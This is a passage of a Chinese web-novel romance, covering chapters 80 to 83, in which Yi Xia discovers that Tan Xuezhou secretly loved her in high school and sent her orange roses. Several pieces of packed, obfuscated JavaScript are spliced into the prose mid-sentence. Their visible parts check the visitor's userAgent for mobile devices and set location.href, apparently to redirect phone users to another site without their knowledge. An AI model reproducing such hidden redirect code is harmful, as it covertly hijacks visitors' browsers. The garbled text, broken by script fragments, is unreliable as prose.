l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14199547|141728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,和他成为了男女朋友。 如果当初舒润那束花,不是巧合呢? 如果是花店送错了,把订单送给了舒润,那原本的那个订单,订花的那个人会是谁?会是当初那只企鹅吗?企鹅也在当时的场馆里吗?又打算把花送给谁? ……宜夏捧着花,走回谈雪昼身边。 他垂眼,扫了眼花束,什么都没说:“上车。” 宜夏上车之后,依然在不停想那个问题。 她不确定,橙玫瑰与向日葵拼在一起,是不是大众的搭配。但橙玫瑰其实不是特别大众的花材,尤其是她两次收到的橙玫瑰,都出自同一个小众品种:小怪兽。这是一个很独特的品种,橙色的花瓣簇拥着中间的淡绿色的“眼”,花瓣硬实,花型凌乱,喜欢的人会觉得高级,不喜欢的人就会觉得丑得很特立独行、鬼斧神工——就跟玳瑁猫一样。 难道,企鹅,其实并不是看她可怜,塞给她那束花的吗? 企鹅其实认识她吗? 企鹅,甚至也在影视圈工作吗? 甚至她的《江流冬日》获奖时,TA就在现场吗? 一连串的猜想。 宜夏又觉得自己有点想太多。毕竟,这听起来实在是太不可思议了。 逻辑上根本没办法说得通。 她径自怔忡,车已经驶出了地库,前面一个红灯,谈雪昼一脚刹车停下,转过头,声音凉凉的:“怎么,前男友送的花,还挺爱不释手?” 宜夏抬起头,抿了下唇:“谈雪昼,我之前也收到过舒润送的一束这样的花。” 谈雪昼:“……” “我当时,特别感动。” 谈雪昼:“你还回忆起来了?” 过了红灯,车继续行驶。 宜夏不受干扰,顺着自己的话继续说:“那一次是我在《江流冬日》拿了奖,他送我的。那天之后,我就默许他追我,然后我们就在一起了。但是刚刚,……他告诉我,原来当初的那束花,不是他定的,是其他——” 话还没说完,车突然急刹住。 谈雪昼转过头,问她:“是《江流冬日》?” 宜夏怔住:“……怎么了。” “在《江流冬日》拿了奖,收到了来自舒润的,一束这样的花,很感动,所以允许他追你,再然后跟他在一起。” 宜夏不明白他为什么要重复自己的话,迟疑地答应:“嗯。” 他的目光落在花束上,又落回宜夏脸上,片刻之后,喉结滚了下,他转过头,缓缓启动了车。 很低的自言自语:“是这样……” 宜夏问:“怎么了?” 他没有回答。 车继续往前行驶,驶过街道拐角,刹车停下。 谈雪昼下了车,车门砰一声关上。宜夏不明所以,赶紧把捧在膝盖上的花束放到后座,跟着追下了车。 谈雪昼是进了街边一家花店。 让店主把店里所有的橙玫瑰和向日葵都包装起来。 宜夏追进店里,跟在他身后,讷讷问:“你干嘛?” “没看出来?”他侧头看她,“补给你花。” 宜夏也没想到这个人醋劲这么大,一定要把舒润比下去。 其实,他跟舒润,根本不可比。 他在她心里,跟任何人都不可比,他是独一无二的。 最终宜夏抱着一大捧几乎抱不下的橙色花束,再次坐回车上。 这次,谈雪昼漫不经心说:“顺眼多了。” 81. 想把你比作春日 - 谈雪昼之所以从非洲赶回来参加金芙蓉电影节,主要是宜夏的原因。次要原因呢,就是非洲勘景的主要工作大部分结束了,他回国来看国内的景。 国内的景其实大部分已经决定了,主要就是在清塘岛取,还有很多室内的景,他打算借一位合作过的导演搭好的摄影棚。 那位导演也挺有名,叫徐知。 徐知爽快地答应了借棚子的请求,顺势邀请他做下一个项目的监制。礼尚往来,谈雪昼当然也答应,又被徐知拉去帮忙看演员试镜。 徐知的下一个项目是古装武侠,投资也比较大,只定了男女主的演员,男二男三女二女三都是圈内适龄演员争抢的香饽饽。 谈雪昼看完了剧本,帮忙面试男二和男三。 一上午都待在试镜的酒店里面试。 上午最后一个进面试房间的演员,是舒润。 舒润进门,看清面试官是谁的时候,不由自主神情一凛。 谈雪昼却只是淡淡地扫了他一眼,低着头很淡定地翻剧本。他坐得很松弛,衬衫袖口卷到手肘,手指有一下没一下地在剧本资料上敲着。 主面试官不是谈雪昼,而是导演徐知。徐知很温和地说:“开始你的试镜片段吧。” 舒润明明进来的时候已经做足了心理准备。 面对谈雪昼抬头望来没什么情绪的眼神,却有几分放不开。纵然是真的决定对宜夏放手,可是,面对她的现任男友,他仍是会在心里暗暗比较,自惭形秽。 ——尤其是这样的时刻。他是演员,等待被挑选,而谈雪昼高高在上,是俯视的那一个。 舒润演着演着,突然开始走神。 他突然注意到,底下几个面试官都没什么表情,包括谈雪昼。 他……演得不好吗? 五分钟的片段,其实舒润在进试镜室之前已经揣摩了很久,有把握能演好。 但莫名的,演着演着,他感觉落在他身上的目光越来越沉,越来越没情绪。 他不由自主朝台上看了一眼,却正好对上徐知导演皱眉的表情。 徐知没有打断他。 反而他自己停了,长长呼出一口气。 徐知说:“继续演,怎么了?” 舒润深吸一口气,继续说台词。 在场所有人都能听见他带点颤抖的气口。 他心里知道这场试镜是完了,心也凉了,勉强要把一句台词读顺,坐在上首的谈雪昼突然站了起来。 他整了整衣袖,跟徐知示意要接个电话。随后,没看下面的舒润一眼,转身离开。 彻底的无视。 舒润好不容易把最后一句台词念完。 徐知表情很温和:“舒老师,可以了,那就到这里了。” 什么都没说。 舒润也知道,完了。结束了。 他鞠躬道谢之后退出试镜室,走到走廊上,谈雪昼接完电话过来。 舒润低声叫住谈雪昼:“谈导,我可以跟你聊一下吗?” 谈雪昼静静看着他,不言不语等他继续说。 舒润说:“其实也没什么好聊的,我知道你应该也不屑于针对我。我就是想起一件事。” 谈雪昼依然只是看着他。 确实不屑针对,甚至懒得搭话,降低自己的格调。 舒润笑了下:“就是,阿宜她对亲密接触的事情有心理障碍,我没有跟她做过,甚至接吻都只有一……两次吧。” 谈雪昼这时候脸色终于有了点细微变化。 舒润观察着,语速加快说:“她的心理障碍是有原因的,好像跟她高中时候的一段经历有关,但我不知道具体缘由。我没有能够治好她,甚至,没能好好照顾她,希望你可以好好对她。” 谈雪昼凛然看着他,终于开口,声音冷淡:“她的事,现在与你无关。” 舒润脸色一僵。 谈雪昼没看他,擦肩而过往试镜室走去。 - 一天的面试结束,徐知做东,几个人一起吃饭。 饭桌上,徐知问谈雪昼关于演员的意见,谈雪昼挑了两个还算有印象的演员说了,饭桌上话题就很自然地转到了彼此的其他项目上来。 所有人都知道谈雪昼喝不了酒,也不劝他,但其余几个人拼酒拼得很欢快,边喝边聊之前剧组遇见的一大堆破事趣事。 谈雪昼被酒气熏得有点难受,上了趟卫生间,再出来在外面吹风。 边吹风,他低着头划开手机。 高中时的一段经历……能是什么经历呢?会让她那么抗拒,那么煎熬。 他仰起头,凝视着远处的虚空一点。 突然想到她了,想知道她这会儿在干什么。 手机还没拨通,背后突然传来一股推力,脊背一痛。有人踉踉跄跄扑到他身上,撞上了他的背。 紧随其后而来的,是一阵熟悉的清甜香气。 他下意识回头接住对方,定睛一看,却是满脸红晕脚步踉跄的宜夏。 宜夏身上有很浅的酒香,脸上的酒晕如同浅绯的水彩颜料。 她的眼神从朦胧逐渐变得清明,站直身体,安安静静看着他,片刻后问:“你怎么在这里?” 谈雪昼:“跟人聚餐。你呢?” 宜夏想了想,声音很低:“我跟人在这聊投资的事。” “有人逼你喝酒了?” 宜夏摇头:“没有,我只喝了一点点。是女投资人。我……”顿了下,“我就是出来洗个脸,那我继续进去吃饭了。” “等等。”谈雪昼拽住她的手腕,“我跟你一起去。” 宜夏扭过头看他,扯了下嘴角,平静说:“不用。我跟人聊正事。” 她捋掉他的手,扶着栏杆站住,停了两步,头也不回地往前走,右拐,不知道进了哪间包厢。 谈雪昼在原地看着她的背影,眯了下眼睛。 他知道,宜夏只有在心情很差,很不爽的时候,才会露出那种很虚假的微笑表情。 她怎么了? 难道,他在不知道的时候惹到她了? - 五分钟前。 宜夏在饭桌上知道了一个让她堵得慌的消息。 宜夏今天是跟投资人约了聊项目,主要就是聊《春日》的投资。 《清塘山岛日记》连拿了两个奖,票房相对普通文艺片来说也特别赚,现在想加入她的新项目的投资人大把,都不用她去求别人,而是别人要求着她加进来。 当然,那些太有钱太有资本的投资人可能还是看不上她这些小项目。 中小的影视公司可就趋之若鹜了。 宜夏跟一家影视公司接触了几轮,跟他们的制片人小姐姐聊得挺投缘的,这位制片人叫郝凌菲。 一问,郝凌菲也是江流中学的。 宜夏对江流中学本身没什么感情,但听说郝凌菲读的是国际部,那因为谈雪昼的原因,她对江流中心国际部倒是没什么恶感。 宜夏今天就是约了郝凌菲出来见面聊具体的内容。 饭桌上还有郝凌菲公司里的其他人,都是女生,饭桌上气氛挺轻松的。听说宜夏的新项目还是爱情电影,大家七嘴八舌提了不少想法意见,宜夏都觉得很有趣。 关于爱情,每个人有每个人的观点,观点碰撞起来才有意思。 吃着饭,聊着天,到后半程,就没那么严肃了。 郝凌菲问宜夏:“宜老师,你写这个本子,有没有取材亲身经历啊?有没有原型什么的啊,原型如果是演员的话,咱们看看能不能码到合适的演员嘛。” 宜夏笑着说:“原型参考是有的,但是,不是演员。” “是素人吗?”郝凌菲想起什么事,突然凑近问,“宜老师,那我能问个你个人问题吗?” “什么?” “就是,你男朋友是谈导啊?是真的嘛?” 宜夏维持着镇定,脸却突然有点红,低低嗯了一声,抱着杯子喝了口里面的饮料。 是青梅酒。 郝凌菲说:“说出来你可能不信,其实我以前追过他。” 宜夏抬起头,表情有些错愕。 郝凌菲笑了,摆手:“别误会别误会,那都是小时候的事了。我不是江流国际部的吗,当时谈老师,在我们国际部还挺有名的,长得好看,又独来独往懒得搭理人,很高冷的那种,而且玩的都是极限运动,飙车,跳伞,高山滑雪什么的,特别帅。你懂吧,我就很想试试追他。我们高三申请了国外的学校,不都就很闲吗,我就追他。然后他就把我拒绝了,特别不留情面。” 宜夏有点想知道谈雪昼高中的事,好奇倾身过去听:“然后呢?” “然后还有什么然后?他拒绝我了,我也没办法热脸贴冷屁股啊,我就说牛什么牛。……后面我坚持不懈还追了有两三个月吧,他就说他有喜欢的人了。这我能相信吗?我肯定不能信啊,这都是托词。结果后面毕业之后,快开学了我有事回学校一趟,竟然撞见他,他给人写情书,那情书上还画了手绘的一只小鹿,还有向日葵什么的,特别的纯情……” 宜夏默了。 郝凌菲看她表情,突然感觉自己说得有点多,有点生硬地转回来:“不过那都是高中的事了,都很多年过去了。” 宜夏安静片刻,低头把杯子里的酒喝干净了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14209846|141728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>宜夏心理上知道那都是高中的事,都过去很久了。 就算谈雪昼有个高中时的白月光,现在都很多年了,他也没表现出对白月光的念念不忘,她不该计较。 再说了,她还跟舒润谈恋爱了呢,那是实打实的恋情,都不是白月光、单方面的暗恋,比谈雪昼过分多了,他也没计较。 她不该双标。 但她还是忍不住,不由自主地陷入想象。 他高中会喜欢的女生,到底是什么样子呢? 所谓的白月光,应该是仙气飘飘穿着白裙子,温柔一笑就能照亮整个世界的那种女生吧。 那种灿烂的,明媚的,温暖的,耀眼的。 跟他一样的。 而不是她当时那样的。 她已经与自己和解,也长成了更好的大人。 可是想到自己的高中时期,少女时期,还是会有摆脱不去的晦暗自卑感。 - 回到包厢,宜夏情绪不是很好。 但不想把自己的负能量表现出来,很努力地微笑着,配合着郝凌菲还有影视公司的人继续聊项目。 没几分钟,手机震动起来。 谈雪昼: 【什么时候结束?】 【我在楼下等你。】 宜夏尽量不表现得有什么异常,抱着手机回复: 【可能还要一会儿】 【你先回去呗】 【我待会儿打车回去】 他没继续回复她。 宜夏放下了手机。也许是酒劲这会儿上来了,她眼神逐渐开始发直,盯着墙上的梵高向日葵油画发呆。 向日葵…… 向日葵。 她很喜欢向日葵的。 因为,向日葵象征着阳光和希望,把她从黑暗里拯救出来。 酒桌散场,宜夏跟郝凌菲她们约了下次去公司再聊合同之类的内容。 一群人在餐厅楼下分别,郝凌菲和几个同事坐车回去,宜夏一个人往外面走,消消酒气。 没走出几步,她敏感地察觉到一辆车跟在她身后。 她往后看,那辆车适时按了两下喇叭。 宜夏慢吞吞地绕到副驾驶坐了进去,系好安全带之后,才轻声说:“不是让你先回去吗?” 谈雪昼:“我又没同意。” 宜夏:“……” 宜夏安静了,把车窗按下来一点散散酒气。 谈雪昼转过脸来:“喝酒了?喝得多吗?下次再约人聊投资,跟我说,我陪你去。” 宜夏说:“那不就变成,你帮我拉投资了?” “我也可以在外面等你。” 宜夏主动解释:“今天一起聊天的都是女生,我没有被灌酒,是那个青梅酒味道很好,我多喝了一点。而且我很会保护自己的,就算真的在酒桌上,我也不会出事。” 谈雪昼说:“不是不相信你。” 他懒懒说,“但我还是会担心。” 宜夏垂下眼睫,“嗯”了一声,打起精神:“前面靠边停一下。” “怎么了?” 宜夏说:“家里好像没水果了,我去买一点橙子。” 谈雪昼把车靠边停了,跟她一起下车。 两个人从水果店买了一袋子水果出来,往停车的位置走的时候,宜夏一转头,看见对面路灯下一个穿江流高中校服的女生。 扎着高马尾,青春洋溢,长得也很漂亮。 她呆了一秒。 很快旁边一家便利店里走出来一个比那个女生高一个头的男生。 那男生没穿校服,穿的黑T配长裤,手上拿着两罐冰镇的盐汽水。宜夏的角度看不太清那男生的正脸,只能看见他的侧脸和微微弓起来的后颈。 她后知后觉看了身边谈雪昼一眼。 竟然有点像。 那男生把盐汽水往女生脸上一冰。 女生立刻转过头,笑颜明媚,跟那男生说了什么。 随后两个人一前一后离开了,男生在后面不停地拨弄女生的马尾辫,饶有兴致,乐在其中的样子。 “看什么?上车了。” 谈雪昼一声让宜夏回神,她坐回车里,还在发呆。 谈雪昼问她:“看什么了,发什么呆?” “刚刚路边那个男生,长得有点像你。” “我?”谈雪昼回想,他刚刚都没注意一个路人长什么样,“像吗?” “感觉你高中的时候,应该是那个样子的。” 谈雪昼“哦”了一声,片刻后说:“那倒不是。” 他很直白:“我应该比他帅多了。” 宜夏:“……” 82. 想把你比作春日 《春日》找到了合适的制片人,投资也基本上已经敲定。 金芙蓉获奖的加成比较大,宜夏几乎没费什么力气,就已经拉到了足够的资源。因为本身是个小体量的本子,资方也没有想着往剧组里塞流量明星,女主角可以由她来选角,自由度还蛮高的。 宜夏在几大电影院校筛了一圈,暂时有了几个候选人,不着急定下来。 她希望自己忙起来,这样就不会去想谈雪昼的那束月光。 那天她和谈雪昼一起回家之后,接下来一段时间,她去忙《春日》的取景、布景的事,到处勘景,谈雪昼也连轴转开会筹备《天幕之下》,两个人几乎都没碰上面。 虽然谁也没态度激烈,但就好像是很突然的,关系冷了,莫名在冷战一般。 《春日》一个比较重要的取景点是江流大学,这个比较麻烦。 江流大学虽然对外很开放,但作为高等学府,很少同意剧组取景邀请,宜夏跟外景组递了申请上去,被打回来了。 制片那边琢磨有没有门路能走。 宜夏这段时间忙得只能周末抽时间跟薛霓见面。 薛霓说她太紧绷了,一点都不放松,变成一个工作狂。硬拉着她在最近新开的一家网红餐厅打卡,吃到后半程,薛霓突然提起:“我们高中好像要一百周年校庆了,你接到邀请没有?” 宜夏手指缓缓蜷缩起来,轻声说:“好像没有。你打算回学校吗?” “要看我那天加不加班,烦死了我现在这个傻逼领导,我真的恨不得给他上勾拳下勾拳左勾拳右勾拳,在他面前打一套军体拳。”薛霓郁闷地搅着咖啡,看了眼她的表情,声音放得很轻,“小夏,你不想返校就不要回去了,反正校庆不就那样吗,也没什么好玩的。” 她顿了下,有点犹豫要不要说,片刻后还是没忍住提醒,“我前几天在新天地附近看见于璟了。” 宜夏抬起头:“我早就遇见过他了。” 薛霓心立刻被提起来了:“他、他什么时候回的国?他没来找你吧?” 宜夏垂下眼睫。 她轻声说:“应该是去年,七八月份,就回来了。他来找过我,不过我把他拉黑了,后来……” “他来骚扰过你吗?” “碰见过两次,后面那次还碰见谈雪昼了,然后,”宜夏直白说,“谈雪昼把他揍了一顿,再之后他就没出现过了。” 薛霓一拍桌子:“靠!不愧是我谈,干得漂亮!” 宜夏笑起来。 宜夏只在深夜聊天、近乎酒醉的时候,跟薛霓提过高中时经历过的校园霸凌。 也只有薛霓知道,她被孤立的漫长时光里,于璟对她的谎言、欺骗和伤害。 薛霓片刻后,低声说:“对不起。” “你突然道什么歉啊?” “我不该跟你提他的。”薛霓说,“校庆那天我请你去吃新开的泰国菜。咱们不回学校了啊,就算有老师邀请也不回去,校庆也不好玩。” 宜夏“嗯”了一声:“你别这么紧张,我没那么脆弱的。其实之前我都快不记得那些事了。” “嗯嗯吃菜吃菜。对了,你看我前天做的美甲,怎么样好不好看?……” - 薛霓提到了校庆的事。 然而宜夏对学校,确实没什么感情。 她高中三年,只得到过很少的温情和光明,其他大部分时间,都陷在难以挣脱的黑暗泥淖中,就好像在满是浓雾的黑夜里一个人踽踽独行,分不清方向,看不见尽头。 她当然也收到了高中发来的校庆邀请。 也许是因为《江流冬日》和《清塘山岛日记》的获奖,以及《强制报告》的声名大噪,她现在高低也算一个不太有名的知名校友了,邮箱收到一封邀请之后,隔两天,又收到了一封。 不过她都没拆开看,也不打算回复。 这天微信收到了一条新消息,来自宗桂华老师。 宗桂华是宜夏的语文老师,高中三年是唯一一个还算护着宜夏的老师,宜夏对她挺感激的。 宗桂华发来一串比较中老年的玫瑰花符号,又跟宜夏寒暄了两句。 宗桂华已经调离了教学一线,现在是学校行政线的校领导了。 宜夏问: 【老师有什么事吗?】 宗桂华说: 【是这样,小夏,学校马上要校庆了,校领导想请你回去作为知名校友发言】 【给你邮件发信息,你一直没有回复,就想要我来联系你一下】 【你看到时候有时间吗?】 宜夏不情愿去。 她也没有必要,为了一些虚无缥缈的面子之类的东西委屈自己。 她委婉地拒绝了,表示自己已经有工作安排。 宗桂华说: 【这样,也没事儿】 【那还有个事,就是,咱们不是要校庆了吗,还想拍个校庆的宣传片】 【你不是拍电影拿奖了吗,校领导希望请你来拍,看看这个工作你有没有兴趣】 【经费很充足的】 宜夏还是说已经有工作安排了。 宗桂华那边没强求,只是补充说: 【小夏,老师理解你不愿回来】 【不过这个宣传片,你可以考虑一下。今年不是一百年校庆吗,规模很大的,宣传片要拍不少知名校友采访啊出镜啊,比如说咱们省已经退休的老书记,江大的校长啊都是我们校友。】 【这也算是积累一些人脉吧。】 【看你自己,老师觉得这算是个挺好的机会,报酬也不错,你再考虑一下。】 宜夏看见说江大的校长,心思一动。 纠结两秒,反正只是拍命题作文宣传片的话,中规中矩不出错就行,她确实没什么抗拒的必要。 隔天,她在微信上,同意了宗桂华的邀请。 宗桂华让她去学校签拍摄宣传片的合同,宜夏不是很想回学校。 想着到时候拍摄肯定也少不了校内的镜头,她鼓起勇气,硬着头皮,毕业后第一次踏入了江流中学的校门。 已经毕业八年了,江流中学焕然一新,多了很多当年没有的设施。 宜夏没有到处逛,直奔办公楼,找到宗桂华签合同。签完出来,出校门的时候,耳边传来一阵剧烈的跑车引擎轰鸣声,一辆张扬的漆黑跑车从她眼前掠过,绝尘而去。 闹市也有人敢开跑车炸街,什么素质。 宜夏在路边打车,网约车排了一会儿还没到。 刚刚飞驰过去的那辆跑车掉了个头,出现在了街对面。 驾驶座下来一个人。 是于璟。 宜夏掐了下掌心,立刻背过身往地铁口走,边走边取消了网约车排队。 如果可以,她希望能够不跟于璟呼吸同一片天空底下的空气。 人进了地铁站,她依然有点憋闷。 走过安检,手机震动了一下,她低头看眼屏幕。 一个陌生号码发来的消息。 【阿宜】 【见到我躲什么】 宜夏立即干净地拉黑了这个新号码。 - 校庆宣传片是命题作文,中规中矩,大概要拍什么内容学校都已经安排好了。学校那边把要出镜的知名校友拉了个清单,宜夏这边跟学校的校友办负责人一起来联系校友。 江流中学确实有很多知名校友,政治界的,文艺界的,体育界的,教育界的。因为一百周年是大庆,校友们基本没有拒绝采访邀请的,只除了确实条件不允许,譬如身在国外、身居高位不便发言等等。 令宜夏有些震惊的是,谈雪昼居然能和这些校友们一个地位,也在被采访名单里。 他还比书记校长更大牌,校友办联系他,他居然还拒绝采访,说工作太忙没有时间。 校友办又给他发了封邮件再次邀请,他才勉强同意腾出一个小时来。 宜夏头天采访了江大的校长,结束后跟这位老学长提了一句,希望新电影能够在江大取景。 老校长人很慈祥和蔼地关怀下去,说要审核剧本,如果剧本没问题的话,当然欢迎电影取景。 这个事儿就很顺利地解决了。 后面几天,又采访了其他校友。 最后一天,宜夏带着摄像录音还有临时的助理,以及校友办的工作人员一起去采访超级大牌的谈雪昼导演。 谈导忙《天幕之下》取景,要在清塘岛搭摄影棚。 从清塘岛看完进度回来,一行人约在了谈雪昼工作室里。 在工作室里,谈雪昼见到来负责采访的居然是宜夏,表情淡淡:“怎么是你?” 宜夏很职业:“谈导,你好。采访的台本你提前看过了吗?看过的话咱们就可以直接开始录了。” 谈雪昼:“那行录吧。” 灯光调试完毕,摄像机打开。 宜夏按照采访台本中规中矩地问完所有问题,效率非常高,解决很迅速,中间跟谈雪昼也没什么特殊的互动,很平淡。 问完之后,宜夏示意摄像可以关闭录像了,站起来收拾桌上的道具材料。 谈雪昼跟着站起来:“待会儿有事吗?” “还约了另一个领导采访。” 最后一位校友了,采访完之后,就可以开始剪视频。 “噢。还以为可以一起吃个饭。” 宜夏把资料交给助理,出去上个卫生间。 在洗手间磨蹭了几分钟出来,再回到刚刚拍摄间门口,却听见助理在跟谈雪昼搭话,谈雪昼懒懒的有一声没一声地答应着。 从谈雪昼工作室出来的时候,小助理很兴奋。 她是路昭野的粉丝,自然对谈导也是爱屋及乌的崇拜,拿到了谈雪昼的签名特别激动,蹦蹦跳跳地往前走,回头跟宜夏说:“宜老师,谈导人居然还挺好的,没网上说的那么拽啊!” “网上怎么说啊。” “Bking拽王,对谁都不给面子,在片场把影后骂哭!”小助理说,“他之前拒绝我们采访,我还以为会和208一样难搞。” “你听说过他把影后骂哭,有没有听说过他把群演骂哭?” “好像没有诶,……好像没见过群演发帖说谈导不好。”小助理说,“所以说谈导人还是挺好的。然后他不是咱们高中的吗,我刚刚还问他高中的时候有没有过喜欢的人,他居然都回答我了!” 宜夏脚步一顿,片刻后,转头问:“他说什么了?” “当然说有啊,还喜欢了很多年哈哈,没想到谈导长这么一张绝世拽比脸居然还玩暗恋!好纯爱!”小助理笑起来,“天啊,被他喜欢就已经让人想象不出来了,被他暗恋到底是种什么体验,好想采访一下那个小姐姐。” 宜夏大步往前走,脸颊绷紧。 小助理观察她的表情,忽然意识到了什么:“……对不起啊宜老师,我忘记你和他——”也是因为刚刚宜夏和谈雪昼之间的互动显得有些生疏,一下让助理忽略了他们俩的情侣关系。 宜夏直接换了话题:“我们待会儿采访的校友资料给我看一下。再准备一下吧。” - 采访完今天最后一个校友,从对方的公司大楼里出来,已经是晚上九点多了,几个人就在写字楼下打车分开。 宜夏到家后检查网盘,收到了今天所有的采访影像和录音信息。 初步检查确认无误,她才在一天的行程上记录下来没有缺失,再开始仔细核对所有的影像,下载下来全都看一遍。 她做事一向很细致,每次采访完成之后当场就会先检查一遍效果,所以没有出过错。今天的素材也都没问题,她抱着膝盖蜷在椅子上,看着视频里谈雪昼的脸孔发呆。 今天灯光打得很好,他的眉眼明亮深邃,盯着镜头神情有点倨傲,又带着漫不经心的松弛。 暗恋。 谈雪昼怎么会需要暗恋呢。 宜夏不想承认,但她确实心里实在是太酸了。 不仅暗恋,还暗恋很多年,还玩纯爱。 宜夏又想起了谈雪昼的第一条微博,那条送白月光高考的内容。 想起粥店老板说的,他很多次从美国飞回来,只为了远远看看那个女生。 想起那天虞山赛道山顶的落日,他跟她提起高三时与那个女生重逢。 想起郝凌菲提及的情书,手绘小鹿和向日葵。 凭什么,她酸得不行,凭什么那时候她不认识他呢,凭什么比他低了两级,凭什么根本没见过他。 可是她又想。 幸好不认识他。 幸好他没有认识过那个时候的她,那时候,不会有人喜欢她。 宜夏垂下眼帘,关掉采访的视频,起身去厨房翻一个苹果出来洗,又翻了个小奶锅出来熬粥。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14222859|141728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >电脑搁在客厅茶几上,开始播放今天的录音。 宜夏啃着苹果淘米。 听录音主要就是听一下音质,她有点走神。播到谈雪昼采访的录音,宜夏已经把米淘好,放在了灶上。 录音里谈雪昼那一段采访只有三分钟,宜夏听见自己的声音:“谢谢谈老师,那我们今天就到这里了。” ——但录音没有随之结束,还跟着一段。 窸窸窣窣的收拾材料的声音。 谈雪昼懒散问要不要一起吃饭。 宜夏离开拍摄间,带上门的声音。 小助理有点紧张,又很期待地问他要签名。 录音师叫摄影师出门抽烟。 随后是小助理好奇地问:“谈老师,我能不能问一个特别个人的问题?” “说。” “你高中的照片好帅啊!我就有点好奇,你这么帅,高中的时候肯定有很多女生追你,吧!你有没有谈过恋爱?” “没有。” “那肯定是你看不上追你的人吧!” “也,不是吧。”谈雪昼语气懒散,“没什么人追我。我那时候,学习还挺差的。” ——不差吧,宜夏走神想,成绩差怎么能去耶鲁读书,还读数学系。 又转念一想,海晏实业的谈家,钞能力有什么做不到。 小助理没想到是这个理由,哈哈笑了两声:“但是只要长得帅就行了啊。谈老师,那没人追你,你有没有喜欢的人?” 谈雪昼一顿,安静片刻之后才轻声说:“有。” 宜夏站在原地听得入神,连灶台的火都忘记打开。 心里的酸涩冲到了鼻尖,不是为了他的“有”,而是为了他那一秒微妙的沉默。 难道他现在,还在对学生时代暗恋的白月光念念不忘吗? 怎么可以这样。 那她都没有对前任念念不忘啊。 她如梦初醒打开灶台的火,洗了手打算把电脑的录音关掉。 ——录音还在继续播放。 小助理说:“真的吗?追过她吗?” 谈雪昼漫不经心:“算是,暗恋吧。不敢让她知道,只敢在她高考的时候偷偷从美国赶回来送她考试,然后,毕业典礼匿名送了她一束橙玫瑰。” 宜夏手上动作一顿。 她大脑突然空白,整个人一阵恍惚。 他说的是什么,橙玫瑰吗? 是橙玫瑰吗? 脚步急促地扑到电脑前,拖回进度条。 “只敢在她高考的时候偷偷从美国赶回来送她考试,然后,毕业典礼匿名送了她一束橙玫瑰。” 匿名送了她一束橙玫瑰。 高考的时候。 微博,对,微博,宜夏手臂轻微地发抖,翻出谈雪昼的微博,翻到最底下。确实是她高考那年。 所以,那个“她”跟她是一届的,那个“她”也收到了一束橙玫瑰。 宜夏思绪很乱,突然站起来,衣服都顾不得换,直接飞奔下楼打车。 在刺桐巷口的花店下车时,她一拍脑袋。 晚上快十点,花店早就关门了。 她在花店门口蹲了一会儿。 心脏还在不停地砰砰乱跳,她念念有词自己安慰自己,想什么呢,不要脑补那么多,其实不一定和你想的一样,要是不是那样该多失望啊。 缓了一会儿才站起来,在花店店门旁边找到了店主留下来的一张电话条,说是可以加微信全城免费配送鲜花。 宜夏蹲在花店屋檐下加了店主的联系方式。 等待通过的那几分钟,非常煎熬。 她是写剧本的,但是她怎么也没办法把自己的高中时期,跟谈雪昼联系上。所以,最大的可能是她在自作多情,是有另一个女生收到了来自他的橙玫瑰。 外面突然下起了小雨。 淅淅沥沥的,银白的雨丝垂落,被路灯光线一打,朦朦胧胧的激起一阵雾气。宜夏盯着手机,心情被雨水打得有点焦躁,好不容易等到花店店主通过了她的好友申请。 宜夏根本顾不得打招呼那么多。 直接自报了身份,片刻后,揪心之下,她终于从老板手里拿到了一个联系方式。 老板曾经想要给她的那个联系方式。 是一串电话号码。 宜夏先是对比了一下,反正不是手机里存的他的号码。 焦渴的期待紧张被顿时浇灭了大半。 但她知道他应该有好几个号码的,有别的她没加过的工作号码。 她盯着那串号码,怎么也不敢拨出。 她担心对面不是他,又担心对面真的是他。 掌心汗湿,她蹭了蹭屏幕。 雨声渐大,她心一横,鼓起勇气拨出。 电话响了两声,嘟嘟的声音特别漫长,漫长得好像一整个潮湿的青春期。 接着有人接了起来。 是宜夏很陌生的男声:“您好?您是?” 宜夏心里骤然一阵酸软的苦涩。 沉默两秒,她轻声说:“不好意思,打错了。” ——不是他。 那边很有礼貌:“您挂吧。” 宜夏能听见那边周边的声音,似乎很忙碌,有人叫电话的主人:“走了开会了。谈总来了。” 宜夏怀疑自己是听错了。 电话主人见她没挂,迟疑片刻说:“您好,那我挂了?” 宜夏说:“不好意思!”她声音有点发抖,深呼吸,“请问这个号码是,是您本人的吗?” 电话的主人说:“是我老板的工作号码,您是——” 宜夏已经打断了他的话:“可以、可以帮我把这个电话转给他吗?我有很重要的事!” 那边的助理有点奇怪。 正常来说他该问一下对方是谁、有什么事,但他没问,走过去把电话递给了老板本人。 短短两秒,宜夏几乎已经感觉到了强烈的起落。 极致的期待,到极致的失落,又到极致的期待和希望,人生不能有大起大落。 她屏住呼吸,听见电话对面“喂”了一声,声音懒散干净:“你好?” 宜夏死死咬住下唇瓣。 害怕下一秒,就要哽咽出声。 一颗眼泪从眼眶里滚出来,宜夏迅速用手背擦掉,努力用平静的声线说:“谈雪昼,你在哪里?我想来找你。” 83. 想把你比作春日 宜夏坐在出租车上,心情却怎么都无法安静平复下来。 她不断地想,居然真的是他。 